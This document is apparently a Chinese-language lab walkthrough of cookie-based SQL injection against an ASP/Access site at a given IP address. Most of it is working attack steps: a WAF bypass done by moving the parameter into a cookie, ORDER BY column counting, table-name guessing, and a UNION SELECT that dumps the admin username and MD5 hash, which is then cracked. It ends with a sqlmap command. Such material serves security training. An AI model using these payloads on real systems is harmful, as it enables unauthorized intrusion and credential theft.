Access注入--cookie注入
針對老網站: asp aspx php<5.4以下>
題目: http://59.63.200.79:8004
1.http://59.63.200.79:8004/shownews.asp?id=171-1
#頁面有變化,存在注入
2.http://59.63.200.79:8004/shownews.asp?id=171' and order by 1 -- qwe
#檢測到非法字元,有防護.
怎麼繞過:
1.規則繞過:
1.用其他函數替換要用的函數
2.用一些大小寫或其他的方法去繞過
2.讓waf不再對我們檢測
id=171 GET傳參
POST傳參
Cookie傳參 = header傳參
PHP中的 $REQUEST['id'] 可以接收GET傳參,POST傳參,Cookie傳參
注:php5.4以上不會接收Cookie傳參
設定Cookie:ookie使用需要URL編碼
1.浏覽器F12,Applica,Cookies
2.burp 抓包,URL編碼,添加cookie,重放
3.浏覽器F12,Console js控制台, document.cookie="id="+escape("171 order by 10")
删除URL中的id=171,重新進入網頁.
3.document.cookie="id="+escape("171 order by 11")
#10,正常 11,異常 有10個字段
4.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10")
#報錯,因為資料庫不同,Access資料庫是非常老的資料庫,MySQL文法不同
#access:沒有系統自帶表,沒有庫名
強行猜測: user admin news job
5.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from user...")
#強猜表名 使用burp,添加sqlmap中的表名字典進行爆破
6.document.cookie="id="+escape("171 union select 1,2,3,4,5,6,7,8,9,10 from admin")
#報出2,3,字段點,字段名也需要強猜.
7.document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin")
#得出username:admin
password:b9a2a2b5dffb918c
8, b9a2a2b5dffb918c MD5解碼: welcome
使用sqlmap工具跑Cookie注入:
sqlmap.py -u "http://...../.../.asp" --cookie "id=171" --level 2
Cookie注入的核心: 傳參的方式不同
asp(很常見10 9個)
PHP(10 1個)
jsp(100 1~2個)
cookie注入和資料庫沒有關系
Access
mysql
oracle
mssql
DB2